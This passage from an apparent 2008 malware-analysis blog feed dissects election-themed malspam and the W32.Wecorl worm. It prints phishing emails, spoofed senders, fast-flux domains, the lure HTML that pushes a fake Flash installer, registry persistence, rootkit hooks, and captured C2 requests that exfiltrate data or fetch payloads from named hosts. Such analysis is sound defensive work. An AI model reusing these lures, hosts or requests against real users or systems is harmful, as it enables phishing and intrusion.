/&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Subject: A new president, a new congress...&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Barack Obama Elected 44th President of United States&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Barack Obama, unknown to most Americans just four years ago, will become the 44th president and the first African-American president of the United States.&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Watch His amazing speech at November 5! ...... "&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On 7 November 2008, it was McCain’s turn to be center stage on the malspam front. The following is a sample email with a hyperlink to fake usa.gov news website.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;From: USA news [mailto:videonews@usa.gov]&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Sent: Friday, November 07, 2008 10:53 AM&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Subject: McCain want to stop Obama&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;McCain Lawyer Impeach Obama!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;McCain has reached an agreement with the Obama lawyers that makes Obama resignation effective November 11.&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Barack Obama can lost President's Chair.&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;McCain video report 7 November:&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Proceed to the election results news page&amp;gt;&amp;gt; &amp;lt;http://productsremote.configlogin.selfservice.YwgnjIkoZ.viewcontent.privatelogin.TW76dHSS4.serensy.com/services.htm?/rnalid/siteminderagent/OSL.htm?LOGIN=TlbX8Ywgnj&amp;amp;VERIFY=IkoZR9TW&lt;/span&gt;&lt;span style="font-style: italic;"&gt;76dHSS4&amp;gt; &lt;/span&gt;  &lt;span style="font-style: italic;"&gt;2008 USA Government Official Web Site.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sample malspam email subjects include:&lt;br /&gt;&lt;br /&gt;McCain Lawyers Want to Stop Obama&lt;br /&gt;Barack Obama in Danger - McCain will fight for president post&lt;br /&gt;McCain Lawmakers Impeach Obama&lt;br /&gt;McCain said today: 'Impeach Obama'&lt;br /&gt;Obama Impeachment Resources: McCain Look at the Impeachment Process ...&lt;br /&gt;Obama faces impeachment&lt;br /&gt;The Impeachment of new president Obama&lt;br /&gt;IMPEACH Barrack Obama | USA government news&lt;br /&gt;Scandal: Obama Resignation Letter&lt;br /&gt;Video: Obama post-resignation speech&lt;br /&gt;Barack Obama can lost President's Chair. The President's Resignation.&lt;br /&gt;Barack Obama can lost presidents chair.The President's Resignation Speech - TIME&lt;br /&gt;Barack Obama president resignation - 23/7 News&lt;br /&gt;Barack Obama can lost President's Chair. Political Strike at WV Mine&lt;br /&gt;Barack Obama can lost President's Chair. Political Strike Confronts the Global Economy&lt;br /&gt;Barack Obama can lost President's Chair.POLITICAL STRIKE TIES&lt;br /&gt;McCain strike against Obama political way&lt;br /&gt;Obama vs McCain 'Political Strike' May Undermine Labor Group&lt;br /&gt;McCain vs Obama - There is a higher potential for confrontation between opposing political forces&lt;br /&gt;McCain want to stop Obama&lt;br /&gt;Why MccAin Want to Stop Obama From president vacancy?&lt;br /&gt;Scandal: Re-elections McCain will win&lt;br /&gt;Scandal: Re-elections Obama: McCain Will Close With Attacks&lt;br /&gt;WScandal: Re-elections hich John McCain will show up to debate?&lt;br /&gt;Scandal: Re-elections Why John McCain will keep fighting&lt;br /&gt;Scandal: Re-elections John McCain Will be a Dictator?&lt;br /&gt;Scandal: Re-elections Why McCain Will Win&lt;br /&gt;Scandal: Re-elections John McCain will defeat Barack Obama&lt;br /&gt;&lt;br /&gt;Sample malspam email From field values include:&lt;br /&gt;&lt;br /&gt;USA Government Center&lt;br /&gt;USA news&lt;br /&gt;CNN news&lt;br /&gt;McCain News Center&lt;br /&gt;Elections Centre&lt;br /&gt;Election News&lt;br /&gt;&lt;br /&gt;Sample malspam email From spoofed addresses include:&lt;br /&gt;&lt;br /&gt;news@usa.gov&lt;br /&gt;videonews@usa.gov&lt;br /&gt;attention@usa.gov&lt;br /&gt;news@usa.com&lt;br /&gt;alert@usa.com&lt;br /&gt;videonews@cnn.com&lt;br /&gt;attention@cnn.com&lt;br /&gt;news@cnn.com&lt;br /&gt;alert@cnn.com&lt;br /&gt;&lt;br /&gt;The malspam hyperlinks point to fast-fluxed hosted domains.&lt;br /&gt;&lt;br /&gt;dieytemsn.com&lt;br /&gt;poreibrsu.com&lt;br /&gt;baraokl.com&lt;br /&gt;serensy.com&lt;br /&gt;oritrsunwart.com&lt;br /&gt;&lt;br /&gt;The domains mapped to the following fast-flux IP addresses at the time of analysis.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;IP    Reverse    Country&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;125.0.177.99    ntaich176099.aich.nt.ftth.ppp.infoweb.ne.jp    JP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;65.34.190.175    c-65-34-190-175.hsd1.fl.comcast.net    US&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;75.31.240.8     adsl-75-31-240-8.dsl.chcgil.sbcglobal.net    US&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;79.177.243.105    bzq-79-177-243-105.red.bezeqint.net    IL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;122.118.192.172    122-118-192-172.dynamic.hinet.net    TW&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The hyperlinks point to a fakeusa.gov website that advertises a McCain video and hyperlinks to get the Adobe Flash Media Player.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_q7ApSx8GNew/SRdNV6tm6II/AAAAAAAAACY/n3YVH4cD5Ms/s1600-h/site.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 199px;" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SRdNV6tm6II/AAAAAAAAACY/n3YVH4cD5Ms/s320/site.jpg" alt="" id="BLOGGER_PHOTO_ID_5266763328166226050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The site includes several methods of fooling victim’s into downloading AdobePlayer9.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;meta http-equiv="REFRESH" content="10;url=../AdobePlayer9.exe"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;a href="AdobePlayer9.exe"&amp;gt;&amp;lt;img border="0" src="160x41_Get_media_Player.jpg" width="160" height="41"&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;a href="AdobePlayer9.exe"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;img border="0" src="McCainvideo.jpg" width="582" height="402" onclick="alert1()" onMouseOver="window.status='http://media.usa.gov/downloads/McCain977855N'; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;return true" onMouseOut="window.status=''; return true" TARGET="_top"&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Malware Analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;AdobePlayer9.exe&lt;br /&gt;642a588272e9fe723fb2f1dd8fccede5&lt;br /&gt;25,173 bytes&lt;br /&gt;&lt;br /&gt;AdobePlayer9.exe creates C:\WINDOWS\9129837.exe&lt;br /&gt;&lt;br /&gt;9129837.exe&lt;br /&gt;642a588272e9fe723fb2f1dd8fccede5&lt;br /&gt;25,173 bytes&lt;br /&gt;&lt;br /&gt;9129837.exe creates C:\WINDOWS\new_drv.sys&lt;br /&gt;&lt;br /&gt;new_drv.sys&lt;br /&gt;a54de1d46ff7bdefbf9d9284c1916c5e&lt;br /&gt;8,192 bytes&lt;br /&gt;&lt;br /&gt;The following registry keys store malware identification data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "Data"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 28, 00, 00, 00, 00, A5, 01, DB, 00, 00, F1, 0C, 65, 30&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "k1"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 50, FF, F4, 94&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "k2"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: B8, 72, F7, 4E&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\InetData "version"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following registry keys install new_drv.sys as a service.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "DisplayName"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: !!!!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "ErrorControl"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 00, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "ImagePath"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_EXPAND_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: \??\C:\WINDOWS\new_drv.sys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "Start"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 03, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "Type"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "0"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_SZ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: Root\LEGACY_NEW_DRV\0000&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "Count"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "NextInstance"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_DWORD&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: 01, 00, 00, 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Security "Security"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Data: [HEX VALUES]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following hidden registry key launches 9129837.exe at startup&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ttool = C:\WINDOWS\9129837.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Both 9129837.exe and new_drv.sys install as a rootkit. Files, registry keys, and processes are hidden.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;SSDT State&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtEnumerateValueKey&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0x81C1F58A&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: Unknown module filename&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtQueryDirectoryFile&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0x81C1F6B6&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: Unknown module filename&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;NtQuerySystemInformation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Actual Address 0x81C1F85C&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Hooked by: Unknown module filename&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;Processes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;!!!!!!!!!!!Hidden process: C:\WINDOWS\9129837.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Process Id: 596&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;EPROCESS Address: 0x81C9D9F8&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;Files&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Suspect File: C:\WINDOWS\9129837.exe Status: Hidden&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Suspect File: C:\WINDOWS\new_drv.sys Status: Hidden&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware hooks into any running process. The following example shows a hook into svchost.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&gt;Hooks&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;kernel32.dll--&gt;CreateProcessA, Type: Inline - RelativeJump at address 0x77E61BBC hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;kernel32.dll--&gt;CreateProcessW, Type: Inline - RelativeJump at address 0x77E61B8E hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;HttpSendRequestA, Type: Inline - RelativeJump at address 0x76210689 hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;HttpSendRequestW, Type: Inline - RelativeJump at address 0x7622B059 hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;InternetCloseHandle, Type: Inline - RelativeJump at address 0x7620974B hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;InternetQueryDataAvailable, Type: Inline - RelativeJump at address 0x7620FC5E hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;InternetReadFile, Type: Inline - RelativeJump at address 0x7620FA3C hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;InternetReadFileExA, Type: Inline - RelativeJump at address 0x7622571D hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[1056]svchost.exe--&gt;wininet.dll--&gt;InternetReadFileExW, Type: Inline - RelativeJump at address 0x76240C8A hook handler located in [unknown_code_page]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;9129837.exe listens on TCP port 13899 and runs a s a hidden process.&lt;br /&gt;&lt;br /&gt;Process         C:\WINDOWS\9129837.exe (*** hidden ***)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Protocol  Local Address           Foreign Address         State               PID       PathName&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;TCP       0.0.0.0 : 13899         0.0.0.0 : 0             LISTENING           596       C:\WINDOWS\9129837.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UDP       127.0.0.1 : 1037        * : *                                       596       C:\WINDOWS\9129837.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;RAW       ---                     ---                     ---                 596       C:\WINDOWS\9129837.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;9129837.exe connects to 91.203.93.57 (UA) to register itself, receive instructions and exfiltrate data. The malware performs the following connections:&lt;br /&gt;&lt;br /&gt;POST /cgi-bin/pstore.cgi&lt;br /&gt;GET /cgi-bin/cmd.cgi&lt;br /&gt;GET /cgi-bin/options.cgi&lt;br /&gt;POST /cgi-bin/cert.cgi&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/pstore.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; boundary=--------------------------dbe3fdbe3fdbe3f&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.203.93.57&lt;br /&gt;Content-Length: 224&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;br /&gt;----------------------------dbe3fdbe3fdbe3f&lt;br /&gt;Content-Disposition: form-data; name="upload_file"; filename="2499084112.2"&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;Forms:&lt;br /&gt;----------------------------dbe3fdbe3fdbe3f-- &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /cgi-bin/cmd.cgi?user_id=2499084112&amp;amp;version_id=2&amp;amp;passphrase=fkjvhsdvlksdhvlsd&amp;amp;socks=13899&amp;amp;version=125&amp;amp;crc=00000000 HTTP/1.1&lt;br /&gt;Host: 91.203.93.57&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;GET /cgi-bin/options.cgi?user_id=2499084112&amp;amp;version_id=2&amp;amp;passphrase=fkjvhsdvlksdhvlsd&amp;amp;socks=13899&amp;amp;version=125&amp;amp;crc=00000000 HTTP/1.1&lt;br /&gt;Host: 91.203.93.57&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;POST /cgi-bin/cert.cgi HTTP/1.1&lt;br /&gt;Content-Type: multipart/form-data; boundary=--------------------------dcd05dcd05dcd05&lt;br /&gt;User-Agent: IE&lt;br /&gt;Host: 91.203.93.57&lt;br /&gt;Content-Length: 298&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;br /&gt;----------------------------dcd05dcd05dcd05&lt;br /&gt;Content-Disposition: form-data; name="upload_file"; filename="2499084112.2"&lt;br /&gt;Content-Type: application/octet-stream&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0S...0...*.H.. .......0.0;0.0...+............2........&amp;amp;..........N...+..\.......{.... &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;----------------------------dcd05dcd05dcd05-- &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-348540705352089690?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/348540705352089690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=348540705352089690' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/348540705352089690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/348540705352089690'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/11/presidential-malspam.html' title='Presidential Malspam'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_q7ApSx8GNew/SRdNV6tm6II/AAAAAAAAACY/n3YVH4cD5Ms/s72-c/site.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-7063588619106380852</id><published>2008-11-09T15:14:00.005-05:00</published><updated>2008-11-09T15:28:44.655-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MS08-067'/><category scheme='http://www.blogger.com/atom/ns#' term='W32.Wecorl'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><title type='text'>MS08-067 and W32.Wecorl</title><content type='html'>On 2 November 2008, &lt;a href="http://www.symantec.com/business/security_response/writeup.jsp?docid=2008-110306-2212-99&amp;amp;tabid=2"&gt;Symantec &lt;/a&gt;reported a “worm” called W32.Wercol that attempted to exploit the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability (MS08-067). The following provides analysis for the W32.Wercol malware variant 10wrjcenew.exe.&lt;br /&gt;&lt;br /&gt;In a lab test, the malware 10wrjcenew.exe:&lt;br /&gt;&lt;br /&gt;Created C:\DOCUME~1\%user profile%\LOCALS~1\Temp\Install.2008.dat&lt;br /&gt;Deleted C:\WINDOWS\System32\Dllcache\Svchost.exe&lt;br /&gt;Modified C:\WINDOWS\System32\Svchost.exe&lt;br /&gt;Created C:\WINDOWS\system32\7DBF6DA4&lt;br /&gt;&lt;br /&gt;The following registry keys were created:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Google "[MAC ADDRESS]"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: (data too large: 3584 bytes)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Licenses "[MAC ADDRESS]"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Type: REG_BINARY&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;    Data: [HEXADECIMAL DATA]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware proceeded to download mimi.1268772 from ls.cc86.info (121.12.172.44, CN) and pp.gif from blog-imgs-27.fc2.com (208.71.107.52, US)&lt;br /&gt;&lt;br /&gt;GET /mimi.1268772 HTTP/1.1&lt;br /&gt;Host: ls.cc86.info&lt;br /&gt;&lt;br /&gt;GET /u/f/o/ufo2000sgd/pp.gif HTTP/1.1&lt;br /&gt;Host: blog-imgs-27.fc2.com&lt;br /&gt;&lt;br /&gt;The malware attempted a MS08-067 buffer overflow exploit against 121.x.x.x UDP port 137&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0000   00 0f 66 5e 0e 78 00 0c 29 ec 1c 43 08 00 45 00  ..f^.x..)..C..E.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0010   00 4e 01 02 00 00 80 11 53 af c0 a8 00 0d 79 0c  .N......S.....y.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0020   ac 2c 00 89 00 89 00 3a 5a 2d 80 13 00 00 00 01  .,.....:Z-......&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0030   00 00 00 00 00 00 20 43 4b 41 41 41 41 41 41 41  ...... CKAAAAAAA&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0040   41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0050   41 41 41 41 41 41 41 00 00 21 00 01              AAAAAAA..!..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The malware connects to ce.10wrj.com (218.95.101.68, CN) ClientReg.aspx and ClientTask.aspx to register the malware and receive C2 instructions. The sample connection shows a download request for ce.10wrj.com/nb1103.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;GET /ClientReg.aspx?mac=xx:xx:xx:xx:xx:xx&amp;amp;Type=0&amp;amp;Sn=081026 HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Host: ce.10wrj.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; HTTP/1.1 200 OK &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;xxyysign xxyyMyIP=xx.xx.xx.xx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;GET /ClientTask.aspx?mac= xx:xx:xx:xx:xx:xx &amp;amp;Type=0&amp;amp;Sn=081026 HTTP/1.1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Host: ce.10wrj.com &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;HTTP/1.1 200 OK &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;xxyysign&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;xxyyUserNamePassWord=CeUser:CePassWord&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;xxyyPort=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;xxyyUpdata=http://ce.10wrj.com/nb1103.exe*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;xxyyRemoteHost=&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following files were observed during analysis:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;10752  f01fd7ecfce8af65832a3a57d2789fa6  10wrjcenew.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;12800  0f7d9c87b0ce1fa520473119752c6f79  3EDFB6D2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;900  14c9db2b8177ca199f283e644fcda225  mimi.1268772&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;404992  0fdb364e8666140d4570d24f363d26d5  nb1103.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;258048  944b1a83ee17db7fa779a2e7d970768c  pp.gif&lt;/span&gt;&lt;div 